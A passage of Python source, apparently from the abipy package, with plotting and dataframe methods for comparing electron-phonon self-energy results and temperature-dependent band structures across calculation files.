ncfile.get_dataframe_sk(spin, kpoint, index=None,\n with_params=with_params, ignore_imag=ignore_imag)\n app(df)\n\n return pd.concat(df_list)\n\n def get_dirgaps_dataframe(self, kpoint, itemp=None, spin=0, with_params=True) -> pd.DataFrame:\n \"\"\"\n Returns |pandas-DataFrame| with QP direct gaps at the given k-point for all the files in the robot\n\n Args:\n kpoint: K-point in self-energy. Accepts |Kpoint|, vector or index.\n itemp: Temperature index, if None all temperatures are returned.\n spin: Spin index\n with_params: False to exclude calculation parameters from the dataframe.\n \"\"\"\n df_list = []; app = df_list.append\n for label, ncfile in self.items():\n df = ncfile.get_dirgaps_dataframe(kpoint, itemp=itemp, spin=spin, with_params=with_params)\n app(df)\n\n return pd.concat(df_list)\n\n def get_dataframe(self, with_params=True, with_spin=\"auto\", ignore_imag=False) -> pd.DataFrame:\n \"\"\"\n Return |pandas-Dataframe| with QP results for all k-points, bands and spins\n present in the files treated by the robot.\n\n Args:\n with_params:\n with_spin: True to add column with spin index. \"auto\" to add it only if nsppol == 2\n ignore_imag: only real part is returned if ``ignore_imag``.\n \"\"\"\n with_spin = any(ncfile.nsppol == 2 for ncfile in self.abifiles) if with_spin == \"auto\" else with_spin\n\n df_list = []; app = df_list.append\n for label, ncfile in self.items():\n for spin in range(ncfile.nsppol):\n for ikc, kpoint in enumerate(ncfile.sigma_kpoints):\n app(ncfile.get_dataframe_sk(spin, ikc, with_params=with_params,\n with_spin=with_spin, ignore_imag=ignore_imag))\n\n return pd.concat(df_list)\n\n @add_fig_kwargs\n def plot_selfenergy_conv(self, spin, kpoint, band, itemp=0, sortby=None, hue=None,\n colormap=\"viridis\", xlims=None, fontsize=8, **kwargs) -> Figure:\n \"\"\"\n Plot the convergence of the EPH self-energy wrt to the ``sortby`` parameter.\n Values can be optionally grouped by `hue`.\n\n Args:\n spin: Spin index.\n kpoint: K-point in self-energy. Accepts |Kpoint|, vector or index.\n band: Band index.\n itemp: Temperature index.\n sortby: Define the convergence parameter, sort files and produce plot labels.\n Can be None, string or function. If None, no sorting is performed.\n If string and not empty it's assumed that the abifile has an attribute\n with the same name and `getattr` is invoked.\n If callable, the output of sortby(abifile) is used.\n hue: Variable that define subsets of the data, which will be drawn on separate lines.\n Accepts callable or string\n If string, it's assumed that the abifile has an attribute with the same name and getattr is invoked.\n If callable, the output of hue(abifile) is used.\n colormap: matplotlib color map.\n xlims: Set the data limits for the x-axis. Accept tuple e.g. ``(left, right)``\n or scalar e.g. ``left``. If left (right) is None, default values are used.\n fontsize: Legend and title fontsize.\n\n Returns: |matplotlib-Figure|\n \"\"\"\n # Make sure that nsppol, sigma_kpoints, and tmesh are consistent.\n self._check_dims_and_params()\n import matplotlib.pyplot as plt\n cmap = plt.get_cmap(colormap)\n\n if hue is None:\n ax_list = None\n lnp_list = self.sortby(sortby)\n for ix, (nclabel, ncfile, param) in enumerate(lnp_list):\n label = \"%s: %s\" % (self._get_label(sortby), param) or nclabel\n sigma = ncfile.r.read_sigeph_skb(spin, kpoint, band)\n fig = sigma.plot_tdep(itemps=itemp, ax_list=ax_list,\n label=label, color=cmap(ix / len(lnp_list)), show=False)\n ax_list = fig.axes\n else:\n # group_and_sortby and build (3, ngroups) subplots\n groups = self.group_and_sortby(hue, sortby)\n nrows, ncols = 3, len(groups)\n ax_mat, fig, plt = get_axarray_fig_plt(None, nrows=nrows, ncols=ncols,\n sharex=True, sharey=True, squeeze=False)\n for ig, g in enumerate(groups):\n subtitle = \"%s: %s\" % (self._get_label(hue), g.hvalue)\n ax_mat[0, ig].set_title(subtitle, fontsize=fontsize)\n for ix, (nclabel, ncfile, param) in enumerate(g):\n sigma = ncfile.r.read_sigeph_skb(spin, kpoint, band)\n fig = sigma.plot_tdep(itemps=itemp, ax_list=ax_mat[:, ig],\n label=\"%s: %s\" % (self._get_label(sortby), param),\n color=cmap(ix / len(g)), show=False)\n\n if ig != 0:\n for ax in ax_mat[:, ig]:\n set_visible(ax, False, \"ylabel\")\n\n for ax in ax_mat.ravel():\n set_axlims(ax, xlims, \"x\")\n\n return fig\n\n @add_fig_kwargs\n def plot_qpgaps_t(self, qp_kpoints=0, qp_type=\"qpz0\", plot_qpmks=True, sortby=None, hue=None, \n fontsize=8, **kwargs) -> Figure:\n \"\"\"\n Compare the QP(T) direct gaps for all the k-points available in the robot.\n\n Args:\n qp_kpoints: List of k-points in self-energy. Accept integers (list or scalars), list of vectors,\n or None to plot all k-points.\n qp_type: \"qpz0\" for linearized QP equation with Z factor compute at KS e0,\n \"otms\" for on-the-mass-shell results.\n plot_qpmks: If False, plot QP_gap, KS_gap else (QP_gap - KS_gap)\n sortby: Define the convergence parameter, sort files and produce plot labels.\n Can be None, string or function. If None, no sorting is performed.\n If string and not empty it's assumed that the abifile has an attribute\n with the same name and `getattr` is invoked.\n If callable, the output of sortby(abifile) is used.\n hue: Variable that define subsets of the data, which will be drawn on separate lines.\n Accepts callable or string\n If string, it's assumed that the abifile has an attribute with the same name and getattr is invoked.\n If callable, the output of hue(abifile) is used.\n fontsize: legend and label fontsize.\n\n Returns: |matplotlib-Figure|\n \"\"\"\n if hue is None:\n ax_list = None\n for ix, ((label, ncfile, param), lineopt) in enumerate(zip(self.sortby(sortby), self.iter_lineopt())):\n fig = ncfile.plot_qpgaps_t(qp_kpoints=qp_kpoints, qp_type=qp_type, ax_list=ax_list,\n plot_qpmks=plot_qpmks, label=label, show=False, fontsize=fontsize, **lineopt)\n #label=label if ix == 0 else None, show=False, fontsize=fontsize, **lineopt)\n ax_list = fig.axes\n else:\n # Need to know number of k-points here to build grid\n qpkinds = self.abifiles[0].find_qpkinds(qp_kpoints)\n # (nkpt, ngroups) subplots\n groups = self.group_and_sortby(hue, sortby)\n nrows, ncols = len(qpkinds), len(groups)\n ax_mat, fig, plt = get_axarray_fig_plt(None, nrows=nrows, ncols=ncols,\n sharex=True, sharey=False, squeeze=False)\n for ig, g in enumerate(groups):\n for ix, (nclabel, ncfile, param) in enumerate(g):\n fig = ncfile.plot_qpgaps_t(qp_kpoints=qpkinds, qp_type=qp_type, ax_list=ax_mat[:, ig],\n plot_qpmks=plot_qpmks, label=\"%s: %s\" % (self._get_label(sortby), param),\n fontsize=fontsize, show=False) #, **lineopt)\n\n # Add label with hue to previous title with k-point info.\n ax_append_title(ax_mat[0, ig], \"\\n%s: %s\" % (self._get_label(hue), g.hvalue), fontsize=fontsize)\n if ig != 0:\n for ax in ax_mat[:, ig]:\n set_visible(ax, False, \"ylabel\")\n\n # Hide legends except the first one\n if nrows > 1:\n for ax in ax_mat[1:, :].ravel():\n set_visible(ax, False, \"legend\")\n\n return fig\n\n @add_fig_kwargs\n def plot_qpgaps_convergence(self, qp_kpoints=\"all\", itemp=0, qp_type=\"qpz0\", sortby=None, hue=None,\n plot_qpmks=True, fontsize=8, **kwargs) -> Figure:\n \"\"\"\n Plot the convergence of the direct QP gaps at given temperature\n for all the k-points and spins treated by the robot.\n\n Args:\n qp_kpoints: List of k-points in self-energy. Accept integers (list or scalars), list of vectors,\n or \"all\" to plot all k-points.\n itemp: Temperature index.\n qp_type: \"qpz0\" for linear qp equation with Z factor computed at KS e0,\n \"otms\" for on-the-mass-shell values.\n sortby: Define the convergence parameter, sort files and produce plot labels.\n Can be None, string or function. If None, no sorting is performed.\n If string and not empty it's assumed that the abifile has an attribute\n with the same name and `getattr` is invoked.\n If callable, the output of sortby(abifile) is used.\n hue: Variable that define subsets of the data, which will be drawn on separate lines.\n Accepts callable or string\n If string, it's assumed that the abifile has an attribute with the same name and getattr is invoked.\n If callable, the output of hue(abifile) is used.\n plot_qpmks: If False, plot QP_gap, KS_gap else (QP_gap - KS_gap)\n fontsize: legend and label fontsize.\n\n Returns: |matplotlib-Figure|\n \"\"\"\n # Make sure that nsppol, sigma_kpoints, and tmesh are consistent.\n self._check_dims_and_params()\n\n nc0 = self.abifiles[0]\n nsppol = nc0.nsppol\n qpkinds = nc0.find_qpkinds(qp_kpoints)\n if len(qpkinds) > 10:\n cprint(\"More that 10 k-points in file. Only 10 k-points will be show. Specify kpt index expliclty\", \"yellow\")\n qpkinds = qpkinds[:10]\n\n # Build grid with (nkpt, 1) plots.\n nrows, ncols = len(qpkinds), 1\n ax_list, fig, plt = get_axarray_fig_plt(None, nrows=nrows, ncols=ncols,\n sharex=True, sharey=False, squeeze=False)\n ax_list = np.array(ax_list).ravel()\n\n if hue is None:\n labels, ncfiles, params = self.sortby(sortby, unpack=True)\n else:\n groups = self.group_and_sortby(hue, sortby)\n\n if qp_type not in {\"qpz0\", \"otms\"}:\n raise ValueError(\"Invalid qp_type: %s\" % qp_type)\n\n name = \"QP dirgap\" if not plot_qpmks else \"QP - KS dirgap\"\n name = \"%s (%s)\" % (name, qp_type.upper())\n\n for ix, ((kpt, ikc), ax) in enumerate(zip(qpkinds, ax_list)):\n for spin in range(nsppol):\n ax.set_title(\"%s k:%s, T = %.1f K\" % (\n name, repr(kpt), nc0.tmesh[itemp]), fontsize=fontsize)\n\n # Extract QP dirgap for [spin, kpt, itemp]\n if hue is None:\n if qp_type == \"qpz0\": yvals = [ncfile.qp_dirgaps_t[spin, ikc, itemp] for ncfile in ncfiles]\n if qp_type == \"otms\": yvals = [ncfile.qp_dirgaps_otms_t[spin, ikc, itemp] for ncfile in ncfiles]\n if plot_qpmks:\n yvals = np.array(yvals) - np.array([ncfile.ks_dirgaps[spin, ikc] for ncfile in ncfiles])\n\n if not duck.is_string(params[0]):\n ax.plot(params, yvals, marker=nc0.marker_spin[spin])\n else:\n # Must handle list of strings in a different way.\n xn = range(len(params))\n ax.plot(xn, yvals, marker=nc0.marker_spin[spin])\n ax.set_xticks(xn)\n ax.set_xticklabels(params, fontsize=fontsize)\n\n else:\n for g in groups:\n if qp_type == \"qpz0\": yvals = [ncfile.qp_dirgaps_t[spin, ikc, itemp] for ncfile in g.abifiles]\n if qp_type == \"otms\": yvals = [ncfile.qp_dirgaps_otms_t[spin, ikc, itemp] for ncfile in g.abifiles]\n if plot_qpmks:\n yvals = np.array(yvals) - np.array([ncfile.ks_dirgaps[spin, ikc] for ncfile in g.abifiles])\n label = \"%s: %s\" % (self._get_label(hue), g.hvalue)\n ax.plot(g.xvalues, yvals, marker=nc0.marker_spin[spin], label=label)\n\n ax.grid(True)\n if ix == len(qpkinds) - 1:\n ax.set_ylabel(\"%s (eV)\" % name)\n ax.set_xlabel(\"%s\" % self._get_label(sortby))\n if sortby is None: rotate_ticklabels(ax, 15)\n if hue is not None:\n ax.legend(loc=\"best\", fontsize=fontsize, shadow=True)\n\n return fig\n\n @add_fig_kwargs\n def plot_qpdata_conv_skb(self, spin, kpoint, band,\n itemp=0, sortby=None, hue=None, fontsize=8, **kwargs) -> Figure:\n \"\"\"\n Plot the convergence of the QP results at the given temperature for given (spin, kpoint, band)\n\n Args:\n spin: Spin index.\n kpoint: K-point in self-energy. Accepts |Kpoint|, vector or index.\n band: Band index.\n itemp: Temperature index.\n sortby: Define the convergence parameter, sort files and produce plot labels.\n Can be None, string or function. If None, no sorting is performed.\n If string and not empty it's assumed that the abifile has an attribute\n with the same name and `getattr` is invoked.\n If callable, the output of sortby(abifile) is used.\n hue: Variable that define subsets of the data, which will be drawn on separate lines.\n Accepts callable or string\n If string, it's assumed that the abifile has an attribute with the same name and getattr is invoked.\n If callable, the output of hue(abifile) is used.\n fontsize: legend and label fontsize.\n\n Returns: |matplotlib-Figure|\n \"\"\"\n # Make sure that nsppol, sigma_kpoints, and tmesh are consistent.\n self._check_dims_and_params()\n\n # TODO: Add more quantities DW, Fan(0)\n # TODO: Decide how to treat complex quantities, avoid annoying ComplexWarning\n # TODO: Format for g.hvalue\n # Treat fundamental gaps\n # Quantities to plot.\n what_list = [\"re_qpe\", \"imag_qpe\", \"ze0\"]\n\n # Build grid plot.\n nrows, ncols = len(what_list), 1\n ax_list, fig, plt = get_axarray_fig_plt(None, nrows=nrows, ncols=ncols,\n sharex=True, sharey=False, squeeze=False)\n ax_list = np.array(ax_list).ravel()\n\n nc0 = self.abifiles[0]\n ikc = nc0.sigkpt2index(kpoint)\n kpoint = nc0.sigma_kpoints[ikc]\n\n # Sort and read QP data.\n if hue is None:\n labels, ncfiles, params = self.sortby(sortby, unpack=True)\n qplist = [ncfile.r.read_qp(spin, kpoint, band) for ncfile in ncfiles]\n else:\n groups = self.group_and_sortby(hue, sortby)\n qplist_group = []\n for g in groups:\n lst = [ncfile.r.read_qp(spin, kpoint, band) for ncfile in g.abifiles]\n qplist_group.append(lst)\n\n for ix, (ax, what) in enumerate(zip(ax_list, what_list)):\n if hue is None:\n # Extract QP data.\n yvals = [getattr(qp, what)[itemp] for qp in qplist]\n if not duck.is_string(params[0]):\n ax.plot(params, yvals, marker=nc0.marker_spin[spin])\n else:\n # Must handle list of strings in a different way.\n xn = range(len(params))\n ax.plot(xn, yvals, marker=nc0.marker_spin[spin])\n ax.set_xticks(xn)\n ax.set_xticklabels(params, fontsize=fontsize)\n else:\n for g, qplist in zip(groups, qplist_group):\n # Extract QP data.\n yvals = [getattr(qp, what)[itemp] for qp in qplist]\n label = \"%s: %s\" % (self._get_label(hue), g.hvalue)\n ax.plot(g.xvalues, yvals, marker=nc0.marker_spin[spin],\n label=label if ix == 0 else None)\n\n ax.grid(True)\n ax.set_ylabel(what)\n if ix == len(what_list) - 1:\n ax.set_xlabel(\"%s\" % self._get_label(sortby))\n if sortby is None: rotate_ticklabels(ax, 15)\n if ix == 0 and hue is not None:\n ax.legend(loc=\"best\", fontsize=fontsize, shadow=True)\n\n if \"title\" not in kwargs:\n title = \"QP results spin: %s, k:%s, band: %s, T = %.1f K\" % (\n spin, repr(kpoint), band, nc0.tmesh[itemp])\n fig.suptitle(title, fontsize=fontsize)\n\n return fig\n\n @add_fig_kwargs\n def plot_qpfield_vs_e0(self, field, itemp=0, reim=\"real\", function=lambda x: x, sortby=None, hue=None,\n fontsize=8, colormap=\"jet\", e0=\"fermie\", **kwargs) -> Figure:\n \"\"\"\n For each file in the robot, plot one of the attributes of :class:`QpTempState`\n at temperature `itemp` as a function of the KS energy.\n\n Args:\n field (str): String defining the attribute to plot.\n itemp (int): Temperature index.\n reim: Plot the real or imaginary part\n function: Apply a function to the results before plotting\n sortby: Define the convergence parameter, sort files and produce plot labels.\n Can be None, string or function. If None, no sorting is performed.\n If string and not empty it's assumed that the abifile has an attribute\n with the same name and `getattr` is invoked.\n If callable, the output of sortby(abifile) is used.\n hue: Variable that define subsets of the data, which will be drawn on separate lines.\n Accepts callable or string\n If string, it is assumed that the abifile has an attribute with the same name and getattr is invoked.\n If callable, the output of hue(abifile) is used.\n colormap: matplotlib color map.\n fontsize: legend and label fontsize.\n e0: Option used to define the zero of energy in the band structure plot.\n\n .. note::\n\n For the meaning of the other arguments, see other robot methods.\n\n Returns: |matplotlib-Figure|\n \"\"\"\n import matplotlib.pyplot as plt\n cmap = plt.get_cmap(colormap)\n\n if hue is None:\n ax_list = None\n lnp_list = self.sortby(sortby)\n for i, (label, ncfile, param) in enumerate(lnp_list):\n if sortby is not None:\n label = \"%s: %s\" % (self._get_label(sortby), param)\n fig = ncfile.plot_qps_vs_e0(itemp_list=[itemp], with_fields=list_strings(field),\n reim=reim, function=function, e0=e0, ax_list=ax_list,\n color=cmap(i / len(lnp_list)), fontsize=fontsize,\n label=label, show=False)\n ax_list = fig.axes\n else:\n # group_and_sortby and build (ngroups,) subplots\n groups = self.group_and_sortby(hue, sortby)\n nrows, ncols = 1, len(groups)\n ax_mat, fig, plt = get_axarray_fig_plt(None, nrows=nrows, ncols=ncols,\n sharex=True, sharey=True, squeeze=False)\n for ig, g in enumerate(groups):\n subtitle = \"%s: %s\" % (self._get_label(hue), g.hvalue)\n ax_mat[0, ig].set_title(subtitle, fontsize=fontsize)\n for i, (nclabel, ncfile, param) in enumerate(g):\n fig = ncfile.plot_qps_vs_e0(itemp_list=[itemp], with_fields=list_strings(field),\n reim=reim, function=function,\n e0=e0, ax_list=ax_mat[:, ig], color=cmap(i / len(g)), fontsize=fontsize,\n label=\"%s: %s\" % (self._get_label(sortby), param), show=False)\n\n if ig != 0:\n for ax in ax_mat[:, ig]:\n set_visible(ax, False, \"ylabel\")\n\n return fig\n\n @add_fig_kwargs\n def plot_lws_vs_e0(self, rta_type=\"serta\", itemp_list=None, colormap=\"jet\", \n fontsize=8, **kwargs) -> Figure:\n r\"\"\"\n Plot phonon-induced linewidths vs KS energy for different temperatures for all files in the robot.\n\n Args:\n rta_type: \"serta\" for SERTA linewidths or \"mrta\" for MRTA linewidths.\n itemp_list: List of temperature indices to interpolate. None for all.\n colormap: matplotlib color map.\n fontsize: fontsize for titles and legend.\n\n Returns: |matplotlib-Figure|\n \"\"\"\n ntemp_list = np.array([ncfile.ntemp for ncfile in self.abifiles])\n ntemp = ntemp_list[0]\n\n # Consistency check\n if any(ntemp != ntemp_list):\n cprint(\"Cannot compare SIGEPH files with different number of Temperatures!\", \"yellow\")\n return None\n for ncfile in self.abifiles:\n if np.any(np.abs(ncfile.tmesh - self.abifiles[0].tmesh) > 1):\n cprint(\"Cannot compare SIGEPH files with different Temperatures!\", \"yellow\")\n return None\n\n itemp_list = list(range(ntemp)) if itemp_list is None else duck.list_ints(itemp_list)\n\n num_plots, ncols, nrows = ntemp, 1, 1\n if num_plots > 1:\n ncols = 2\n nrows = (num_plots // ncols) + (num_plots % ncols)\n\n ax_list, fig, plt = get_axarray_fig_plt(None, nrows=nrows, ncols=ncols,\n sharex=True, sharey=True, squeeze=False)\n ax_list = np.array(ax_list).ravel()\n # don't show the last ax if num_plots is odd.\n if num_plots % ncols != 0: ax_list[-1].axis(\"off\")\n cmap = plt.get_cmap(colormap)\n\n import itertools\n marker = itertools.cycle((\"o\", ',', '+', '.', '*'))\n\n for itemp, ax in enumerate(ax_list):\n for ifile, ncfile in enumerate(self.abifiles):\n ncfile.plot_lws_vs_e0(itemp_list=[itemp], rta_type=rta_type, ax=ax,\n marker=next(marker), label=ncfile.basename,\n show=False)\n\n if itemp != 0:\n set_visible(ax, False, \"xlabel\", \"ylabel\", \"legend\")\n\n ax.set_title(\"T = %.1f K\" % self.abifiles[0].tmesh[itemp])\n\n fig.suptitle(rta_type.upper())\n\n return fig\n\n def yield_figs(self, **kwargs): # pragma: no cover\n \"\"\"\n This function *generates* a predefined list of matplotlib figures with minimal input from the user.\n \"\"\"\n verbose = kwargs.pop(\"verbose\", 0)\n\n imag_only = all(ncfile.imag_only for ncfile in self.abifiles)\n\n if imag_only:\n #print(\"imag_only\")\n for rta_type in (\"serta\", \"mrta\"):\n yield self.plot_lws_vs_e0(rta_type=rta_type, show=False)\n #yield self.plot_tau_vtau(rta_type=rta_type, show=False)\n\n else:\n itemp = 0\n enough = 5\n for i, qp_kpt in enumerate(self.abifiles[0].sigma_kpoints):\n if i > enough and not verbose:\n print(f\"File contains more than {enough} k-points. Only the first {enough} k-points are displayed.\")\n break\n for qp_type in (\"qpz0\", \"otms\"):\n yield self.plot_qpgaps_convergence(qp_kpoints=qp_kpt, qp_type=qp_type, itemp=itemp, show=False)\n yield self.plot_qpgaps_t(qp_kpoints=qp_kpt, qp_type=qp_type, show=False)\n\n def write_notebook(self, nbpath=None, title=None) -> str:\n \"\"\"\n Write a jupyter_ notebook to ``nbpath``. If nbpath is None, a temporay file in the current\n working directory is created. Return path to the notebook.\n \"\"\"\n nbformat, nbv, nb = self.get_nbformat_nbv_nb(title=title)\n\n args = [(l, f.filepath) for l, f in self.items()]\n nb.cells.extend([\n #nbv.new_markdown_cell(\"# This is a markdown cell\"),\n nbv.new_code_cell(\"robot = abilab.SigEPhRobot(*%s)\\nrobot.trim_paths()\\nrobot\" % str(args)),\n nbv.new_code_cell(\"robot.get_params_dataframe()\"),\n nbv.new_code_cell(\"# data = robot.get_dataframe()\\ndata\"),\n nbv.new_code_cell(\"robot.plot_qpgaps_convergence(itemp=0, sortby=None, hue=None);\"),\n #nbv.new_code_cell(\"robot.plot_qpgaps_t(sortby=None);\"),\n nbv.new_code_cell(\"\"\"\\\nnc0 = robot.abifiles[0]\nfor spin in range(nc0.nsppol):\n for ikc, sigma_kpoint in enumerate(nc0.sigma_kpoints):\n for band in range(nc0.bstart_sk[spin, ikc], nc0.bstop_sk[spin, ikc]):\n robot.plot_qpdata_conv_skb(spin, sigma_kpoint, band, itemp=0, sortby=None, hue=None);\"\"\"),\n\n nbv.new_code_cell(\"\"\"\\\n#nc0 = robot.abifiles[0]\n#for spin in range(nc0.nsppol):\n# for ikc, sigma_kpoint in enumerate(nc0.sigma_kpoints):\n# for band in range(nc0.bstart_sk[spin, ikc], nc0.bstop_sk[spin, ikc]):\n# robot.plot_selfenergy_conv(spin, sigma_kpoint, band, itemp=0, sortby=None);\"),\"\"\"),\n ])\n\n # Mixins.\n nb.cells.extend(self.get_baserobot_code_cells())\n nb.cells.extend(self.get_ebands_code_cells())\n\n return self._write_nb_nbpath(nb, nbpath)\n\n\nclass TdepElectronBands: # pragma: no cover\n \"\"\"\n A list of |ElectronBands| (T) with a real part renormalized by\n the E-PH sel-energy. Imaginary part is stored in a specialized array.\n This object is not supposed to be instantiated directly.\n It is usually constructed in SigEPhFile by interpolating the ab-initio results\n\n Provides methods to plot renormalized band structures with linewidths.\n \"\"\"\n def __init__(self, tmesh, ks_ebands_kpath, qp_ebands_kpath_t,\n ks_ebands_kmesh, qp_ebands_kmesh_t, interpolators_t):\n \"\"\"\n Args:\n tmesh: Array of temperatures in K.\n ks_ebands_kpath: KS bands on k-path (None if not available).\n qp_ebands_kpath_t: List of QP(T) bands on k-path (empty if not available).\n ks_ebands_kmesh: KS bands on k-mesh (None if not available).\n qp_ebands_kmesh_t: List of QP(T) bands on k-mesh (empty if not available).\n interpolators_t: [ntemp, 2] interpolators for real/imaginary part.\n \"\"\"\n self.tmesh = np.array(tmesh)\n self.ntemp = self.tmesh.size\n self.interpolators_t = np.reshape(interpolators_t, (self.ntemp, 2))\n assert len(self.interpolators_t) == self.ntemp\n\n self.ks_ebands_kpath = ks_ebands_kpath\n self.qp_ebands_kpath_t = qp_ebands_kpath_t\n if qp_ebands_kpath_t:\n assert len(self.qp_ebands_kpath_t) == self.ntemp\n\n self.ks_ebands_kmesh = ks_ebands_kmesh\n self.qp_ebands_kmesh_t = qp_ebands_kmesh_t\n if qp_ebands_kmesh_t:\n assert len(self.qp_ebands_kmesh_t) == self.ntemp\n\n @lazy_property\n def has_kpath(self) -> bool:\n \"\"\"True if interpolated bands on the k-path are available.\"\"\"\n return bool(self.qp_ebands_kpath_t)\n\n @lazy_property\n def has_kmesh(self) -> bool:\n \"\"\"True if interpolated bands on the k-mesh are available.\"\"\"\n return bool(self.qp_ebands_kmesh_t)\n\n def __str__(self):\n return self.to_string()\n\n def to_string(self, verbose=0) -> str:\n \"\"\"String representation with verbosiy level ``verbose``.\"\"\"\n lines = []\n app = lines.append\n app(\"Number of temperatures: %d, tmesh[0]: %.1f, tmesh[-1] %.1f [K]\" % (\n self.ntemp, self.tmesh[0], self.tmesh[-1]))\n app(\"Has qp_bands on k-path: %s\" % self.has_kpath)\n app(\"Has ks_bands on k-path: %s\" % (self.ks_ebands_kpath is not None))\n app(\"Has qp_bands on k-mesh: %s\" % self.has_kmesh)\n app(\"Has ks_bands on k-mesh: %s\" % (self.ks_ebands_kmesh is not None))\n\n return \"\\n\".join(lines)\n\n @classmethod\n def pickle_load(cls, filepath: str):\n \"\"\"Loads the object from a pickle file.\"\"\"\n with open(filepath, \"rb\") as fh:\n new = pickle.load(fh)\n #assert cls is new.__class__\n return new\n\n def pickle_dump(self, filepath=None):\n \"\"\"\n Save the status of the object in pickle format.\n If filepath is None, a temporary file is created.\n\n Return: name of the pickle file.\n \"\"\"\n if filepath is None:\n _, filepath = tempfile.mkstemp(suffix='.pickle')\n\n with open(filepath, \"wb\") as fh:\n pickle.dump(self, fh)\n return filepath\n\n @add_fig_kwargs\n def plot_itemp_with_lws_vs_e0(self, itemp, ax_list=None, width_ratios=(2, 1),\n function=lambda x: x, fact=10.0, **kwargs) -> Figure:\n \"\"\"\n Plot bandstructure with linewidth at temperature ``itemp`` and linewidth vs the KS energies.\n\n Args:\n itemp: Temperature index.\n ax_list: The axes for the bandstructure plot and the DOS plot. If ax_list is None, a new figure\n is created and the two axes are automatically generated.\n width_ratios: Defines the ratio between the band structure plot and the dos plot.\n function: Apply this function to the values before plotting.\n fact:\n\n Return: |matplotlib-Figure|\n \"\"\"\n import matplotlib.pyplot as plt\n from matplotlib.gridspec import GridSpec\n if ax_list is None:\n # Build axes and align bands and DOS.\n fig = plt.figure()\n gspec = GridSpec(1, 2, width_ratios=width_ratios, wspace=0.1, right=0.85)\n ax0 = plt.subplot(gspec[0])\n ax1 = plt.subplot(gspec[1], sharey=ax0)\n else:\n # Take them from ax_list.\n ax0, ax1 = ax_list\n fig = plt.gcf()\n\n # plot the band structure\n self.plot_itemp(itemp, ax=ax0, fact=fact, show=False)\n\n # plot the dos\n dos_markersize = kwargs.pop(\"markersize\", 4)\n self.plot_lws_vs_e0(itemp_list=[itemp],ax=ax1,\n exchange_xy=True, function=abs,\n markersize=dos_markersize, show=False)\n\n ax1.grid(True)\n ax1.yaxis.set_ticks_position(\"right\")\n ax1.yaxis.set_label_position(\"right\")\n\n return fig\n\n @add_fig_kwargs\n def plot_itemp(self, itemp, ax=None, e0=\"fermie\", ylims=None, fontsize=12, fact=2.0, **kwargs) -> Figure:\n \"\"\"\n Plot band structures with linewidth at temperature ``itemp``.\n\n Args:\n itemp: Temperature index.\n ax: |matplotlib-Axes| or None if a new figure should be created.\n e0: Option used to define the zero of energy in the band structure plot.\n ylims: Set the data limits for the y-axis. Accept tuple e.g. ``(left, right)``\n or scalar e.g. ``left``. If left (right) is None, default values are used\n fontsize: Fontsize for title.\n\n Return: |matplotlib-Figure|\n \"\"\"\n #if not self.has_kpath: return None\n ax, fig, plt = get_ax_fig_plt(ax=ax)\n\n # Plot KS bands\n if self.ks_ebands_kpath is not None:\n ks_opts = dict(color=\"black\", lw=2, label=\"KS\")\n self.ks_ebands_kpath.plot_ax(ax, e0, **ks_opts)\n\n # Plot QP(T) bands with linewidths\n title = \"T = %.1f K\" % self.tmesh[itemp]\n qp_opts = dict(color=\"red\", lw=2, label=\"QP\", lw_opts=dict(fact=fact))\n self.qp_ebands_kpath_t[itemp].plot_ax(ax, e0, **qp_opts)\n self.qp_ebands_kpath_t[itemp].decorate_ax(ax, fontsize=fontsize, title=title)\n\n set_axlims(ax, ylims, \"y\")\n ax.legend(loc=\"best\", fontsize=fontsize, shadow=True)\n\n return fig\n\n @add_fig_kwargs\n def plot(self, e0=\"fermie\", ylims=None, fontsize=8, **kwargs) -> Figure:\n \"\"\"\n Plot grid of band structures with linewidth (one plot for each temperature).\n\n Args:\n e0: Option used to define the zero of energy in the band structure plot. Possible values:\n - ``fermie``: shift all eigenvalues to have zero energy at the Fermi energy (`self.fermie`).\n - Number e.g e0=0.5: shift all eigenvalues to have zero energy at 0.5 eV\n - None: Don't shift energies, equivalent to e0=0\n fontsize: Fontsize for title.\n\n Return: |matplotlib-Figure|\n \"\"\"\n num_plots, ncols, nrows = self.ntemp, 1, 1\n if num_plots > 1:\n ncols = 2\n nrows = (num_plots // ncols) + (num_plots % ncols)\n\n ax_list, fig, plt = get_axarray_fig_plt(None, nrows=nrows, ncols=ncols,\n sharex=True, sharey=True, squeeze=False)\n ax_list = np.array(ax_list).ravel()\n\n # don't show the last ax if num_plots is odd.\n if num_plots % ncols != 0: ax_list[-1].axis(\"off\")\n\n #e0 = 0\n for itemp, ax in enumerate(ax_list):\n fig = self.plot_itemp(itemp, ax=ax, e0=e0, ylims=ylims, fontsize=fontsize, show=False)\n if itemp != 0:\n set_visible(ax, False, \"ylabel\", \"legend\")\n\n return fig\n\n @add_fig_kwargs\n def plot_lws_vs_e0(self, itemp_list=None, ax=None, e0=\"fermie\", function=lambda x: x, exchange_xy=False,\n colormap=\"jet\", xlims=None, ylims=None, fontsize=8, **kwargs) -> Figure:\n r\"\"\"\n Plot electron linewidths vs KS energy at temperature ``itemp``\n\n Args:\n itemp_list: List of temperature indices to interpolate. None for all.\n ax: |matplotlib-Axes| or None if a new figure should be created.\n e0: Option used to define the zero of energy in the band structure plot. Possible values:\n - ``fermie``: shift all eigenvalues to have zero energy at the Fermi energy (``self.fermie``).\n - Number e.g e0=0.5: shift all eigenvalues to have zero energy at 0.5 eV\n - None: Don't shift energies, equivalent to e0=0\n function: Apply this function to the values before plotting\n exchange_xy: True to exchange x-y axis.\n colormap: matplotlib color map.\n xlims, ylims: Set the data limits for the x-axis or the y-axis. Accept tuple e.g. ``(left, right)``\n or scalar e.g. ``left``. If left (right) is None, default values are used\n fontsize: fontsize for titles and legend.\n\n Returns: |matplotlib-Figure|\n \"\"\"\n itemp_list = list(range(self.ntemp)) if itemp_list is None else duck.list_ints(itemp_list)\n\n ax, fig, plt = get_ax_fig_plt(ax=ax)\n cmap = plt.get_cmap(colormap)\n\n kw_linestyle = kwargs.pop(\"linestyle\", \"o\")\n kw_markersize = kwargs.pop(\"markersize\", 3)\n #kw_color = kwargs.pop(\"color\", None)\n #kw_label = kwargs.pop(\"label\", None)\n\n for it,itemp in enumerate(itemp_list):\n\n # Select kmesh or kpath\n if self.has_kmesh:\n qp_ebands = self.qp_ebands_kmesh_t[itemp]\n else:\n qp_ebands = self.qp_ebands_kpath_t[itemp]\n\n kwargs = dict(markersize=kw_markersize, linestyle=kw_linestyle)\n\n fig = qp_ebands.plot_lws_vs_e0(ax=ax, e0=e0, exchange_xy=exchange_xy,\n function=function, xlims=xlims, ylims=ylims, fontsize=fontsize,\n label=\"T = %.1f K\" % self.tmesh[itemp],\n color=cmap(it / 